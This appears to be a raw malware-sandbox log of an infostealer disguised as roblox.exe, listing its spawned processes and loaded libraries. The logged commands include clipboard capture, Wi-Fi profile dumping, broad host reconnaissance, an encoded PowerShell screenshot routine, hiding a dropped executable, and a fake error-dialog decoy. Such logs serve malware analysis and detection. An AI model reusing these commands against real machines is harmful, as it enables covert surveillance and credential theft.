Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "taskkill /F /IM chrome.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell.exe Get-Clipboard"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "chcp"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "ver"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "netsh wlan show profiles"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM chrome.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand WwBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAVwBpAHQAaABQAGEAcgB0AGkAYQBsAE4AYQBtAGUAKAAiAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAiACkADQAKAGYAdQBuAGMAdABpAG8AbgAgAHMAYwByAGUAZQBuAHMAaABvAHQAKABbAEQAcgBhAHcAaQBuAGcALgBSAGUAYwB0AGEAbgBnAGwAZQBdACQAYgBvAHUAbgBkAHMALAAgACQAcABhAHQAaAApACAAewANAAoAIAAgACAAJABiAG0AcAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAARAByAGEAdwBpAG4AZwAuAEIAaQB0AG0AYQBwACAAJABiAG8AdQBuAGQAcwAuAHcAaQBkAHQAaAAsACAAJABiAG8AdQBuAGQAcwAuAGgAZQBpAGcAaAB0AA0ACgAgACAAIAAkAGcAcgBhAHAAaABpAGMAcwAgAD0AIABbAEQAcgBhAHcAaQBuAGcALgBHAHIAYQBwAGgAaQBjAHMAXQA6ADoARgByAG8AbQBJAG0AYQBnAGUAKAAkAGIAbQBwACkADQAKAA0ACgAgACAAIAAkAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoACQAYgBvAHUAbgBkAHMALgBMAG8AYwBhAHQAaQBvAG4ALAAgAFsARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdABdADoAOgBFAG0AcAB0AHkALAAgACQAYgBvAHUAbgBkAHMALgBzAGkAegBlACkADQAKAA0ACgAgACAAIAAkAGIAbQBwAC4AUwBhAHYAZQAoACQAcABhAHQAaAApAA0ACgANAAoAIAAgACAAJABnAHIAYQBwAGgAaQBjAHMALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAIAAgACAAJABiAG0AcAAuAEQAaQBzAHAAbwBzAGUAKAApAA0ACgB9AA0ACgANAAoAJABiAG8AdQBuAGQAcwAgAD0AIABbAEQAcgBhAHcAaQBuAGcALgBSAGUAYwB0AGEAbgBnAGwAZQBdADoAOgBGAHIAbwBtAEwAVABSAEIAKAAwACwAIAAwACwAIAAxADkAMgAwACwAIAAxADAAOAAwACkADQAKACQAcABhAHQAaAAgAD0AIAAoAEcAZQB0AC0ASQB0AGUAbQAgAC4AKQAuAEYAdQBsAGwATgBhAG0AZQArACIAXABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AcABuAGcAIgANAAoAcwBjAHIAZQBlAG4AcwBoAG8AdAAgACQAYgBvAHUAbgBkAHMAIAAkAHAAYQB0AGgA"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic csproduct get uuid	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +h +s "C:\Users\user\AppData\Local\MonsterUpdateService\Monster.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mshta.exe mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('The Program can\x22t start because api-ms-win-crt-runtime-\|l1-1-.dll is missing from your computer. Try reinstalling the program to fix this problem', 0, 'System Error', 0+16);close()"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM chrome.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Get-Clipboard	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\systeminfo.exe systeminfo
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\HOSTNAME.EXE hostname
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic logicaldisk get caption,description,providername
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net user
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\query.exe query user
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net localgroup
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net localgroup administrators
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net user guest
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net user administrator
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic startup get caption,command
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /svc
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\ipconfig.exe ipconfig /all
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\ROUTE.EXE route print
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\ARP.EXE arp -a
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\NETSTAT.EXE netstat -ano
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc query type= service state= all
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh firewall show state
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh firewall show config
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 user
Source: C:\Windows\System32\query.exe	Process created: C:\Windows\System32\quser.exe "C:\Windows\system32\quser.exe"
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 localgroup
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 localgroup administrators
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 user guest
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 user administrator
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic csproduct get uuid
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand WwBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAVwBpAHQAaABQAGEAcgB0AGkAYQBsAE4AYQBtAGUAKAAiAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAiACkADQAKAGYAdQBuAGMAdABpAG8AbgAgAHMAYwByAGUAZQBuAHMAaABvAHQAKABbAEQAcgBhAHcAaQBuAGcALgBSAGUAYwB0AGEAbgBnAGwAZQBdACQAYgBvAHUAbgBkAHMALAAgACQAcABhAHQAaAApACAAewANAAoAIAAgACAAJABiAG0AcAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAARAByAGEAdwBpAG4AZwAuAEIAaQB0AG0AYQBwACAAJABiAG8AdQBuAGQAcwAuAHcAaQBkAHQAaAAsACAAJABiAG8AdQBuAGQAcwAuAGgAZQBpAGcAaAB0AA0ACgAgACAAIAAkAGcAcgBhAHAAaABpAGMAcwAgAD0AIABbAEQAcgBhAHcAaQBuAGcALgBHAHIAYQBwAGgAaQBjAHMAXQA6ADoARgByAG8AbQBJAG0AYQBnAGUAKAAkAGIAbQBwACkADQAKAA0ACgAgACAAIAAkAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoACQAYgBvAHUAbgBkAHMALgBMAG8AYwBhAHQAaQBvAG4ALAAgAFsARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdABdADoAOgBFAG0AcAB0AHkALAAgACQAYgBvAHUAbgBkAHMALgBzAGkAegBlACkADQAKAA0ACgAgACAAIAAkAGIAbQBwAC4AUwBhAHYAZQAoACQAcABhAHQAaAApAA0ACgANAAoAIAAgACAAJABnAHIAYQBwAGgAaQBjAHMALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAIAAgACAAJABiAG0AcAAuAEQAaQBzAHAAbwBzAGUAKAApAA0ACgB9AA0ACgANAAoAJABiAG8AdQBuAGQAcwAgAD0AIABbAEQAcgBhAHcAaQBuAGcALgBSAGUAYwB0AGEAbgBnAGwAZQBdADoAOgBGAHIAbwBtAEwAVABSAEIAKAAwACwAIAAwACwAIAAxADkAMgAwACwAIAAxADAAOAAwACkADQAKACQAcABhAHQAaAAgAD0AIAAoAEcAZQB0AC0ASQB0AGUAbQAgAC4AKQAuAEYAdQBsAGwATgBhAG0AZQArACIAXABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AcABuAGcAIgANAAoAcwBjAHIAZQBlAG4AcwBoAG8AdAAgACQAYgBvAHUAbgBkAHMAIAAkAHAAYQB0AGgA
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic csproduct get uuid

Source: C:\Users\user\Desktop\roblox.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\roblox.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\roblox.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\roblox.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\roblox.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\roblox.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\roblox.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\roblox.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\roblox.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\roblox.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\Desktop\roblox.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\roblox.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\roblox.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\roblox.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\roblox.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\roblox.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Section loaded: python310.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Section loaded: libffi-7.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Section loaded: sqlite3.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Section loaded: python3.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Section loaded: libcrypto-1_1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Section loaded: libssl-1_1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Section loaded: libcrypto-1_1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\attrib.exe	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\System32\attrib.exe	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mshtml.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msiso.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: srpapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msimtf.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dataexchange.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dcomp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: jscript9.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dxcore.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\chcp.com	Section loaded: ulib.dll
Source: C:\Windows\System32\chcp.com	Section loaded: fsutilext.dll
Source: C:\Windows\System32\chcp.com	Section loaded: ulib.dll
Source: C:\Windows\System32\chcp.com	Section loaded: fsutilext.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ifmon.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mprapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasmontr.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mfc42u.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: authfwcfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwpolicyiomgr.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: firewallapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwbase.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dhcpcmonitor.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dot3cfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dot3api.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: onex.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: eappcfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: eappprxy.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwcfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: hnetmon.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: netshell.dll
